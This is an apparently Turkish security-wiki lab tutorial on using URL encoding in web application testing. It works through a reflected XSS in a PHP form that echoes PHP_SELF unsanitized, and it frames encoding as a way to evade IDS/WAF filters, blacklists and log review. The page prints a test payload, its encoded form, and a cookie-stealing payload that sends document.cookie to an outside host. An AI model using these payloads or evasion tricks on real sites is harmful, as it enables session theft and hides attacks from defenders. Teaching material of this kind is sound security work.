Web Uygulama Testlerinde Encoding Yöntemleri ve Kullanım Alanları

BGA Security Wiki sitesinden
Şuraya atla: kullan, ara

Amaç:

Web uygulama testlerinde encoding kullanarak gizlilik sağlamak.

Lab Senaryosu:

Reflected XSS zafiyeti bulunan herhangi bir web uygulaması. Örnek olarak $_SERVER[‘PHP_SELF’] değerini sanitize etmeden formun “action” parametresinde kullanan bir PHP Script'i kullanılmıştır.

Araç:

  • Iceweasel 18


Adımlar:

Web uygulama testlerinde, çeşitli encoding yöntemleri sıklıkla kullanılır. Bu encoding yöntemlerinin tamamına, http://yehg.net/encoding/ adresinden ulaşılabilir. Web uygulama testlerinde, encoding’in başlıca kullanım alanları, şu şekilde sıralanabilir.

  • IPS / IDS / WAF atlatma
  • Uygulama tabanlı blacklist / regex önlemlerini atlatma
  • Log dosyalarının analizini zorlaştırma
  • Payloadları daha az şüphe uyandıracak / dikkat çekecek hale getirme

Örnek lab ortamında, istismar edilmek istenilen XSS zafiyetinin test payloadı /" onmouseover="alert(1) olsun. Kurbanın tıklaması gereken tam url http://localhost/phpself.php/" onmouseover="alert(1) şeklinde olacaktır. Görüldüğü üzere buraya /” onmouseover=”document.location=bga.com.tr/kaydet.php?val=+document.cookie gibi gerçek payloadlar yerleştirildiğinde, hem loglar açısından hem de kurban açısından çok dikkat çekici olacaktır. Saldırıyı kamufle etmek için, url encoding kullanılabilir. Payload yehg.net/encoding ya da Burp Suite’in decoder eklentisi gibi araçlarda bulunan url encoding işleminden geçirildiğinde son hali %22%20%6f%6e%6d%6f%75%73%65%6f%76%65%72%3d%22%61%6c%65%72%74%28%31%29 şeklinde olacaktır. İstismar işlemi için tam adres de http://localhost/phpself.php%2f%22%20%6f%6e%6d%6f%75%73%65%6f%76%65%72%3d%22%61%6c%65%72%74%28%31%29 şeklinde olur.

23091.png

Dolayısıyla saldırı daha az dikkat çekecek hale getirilmiş olur.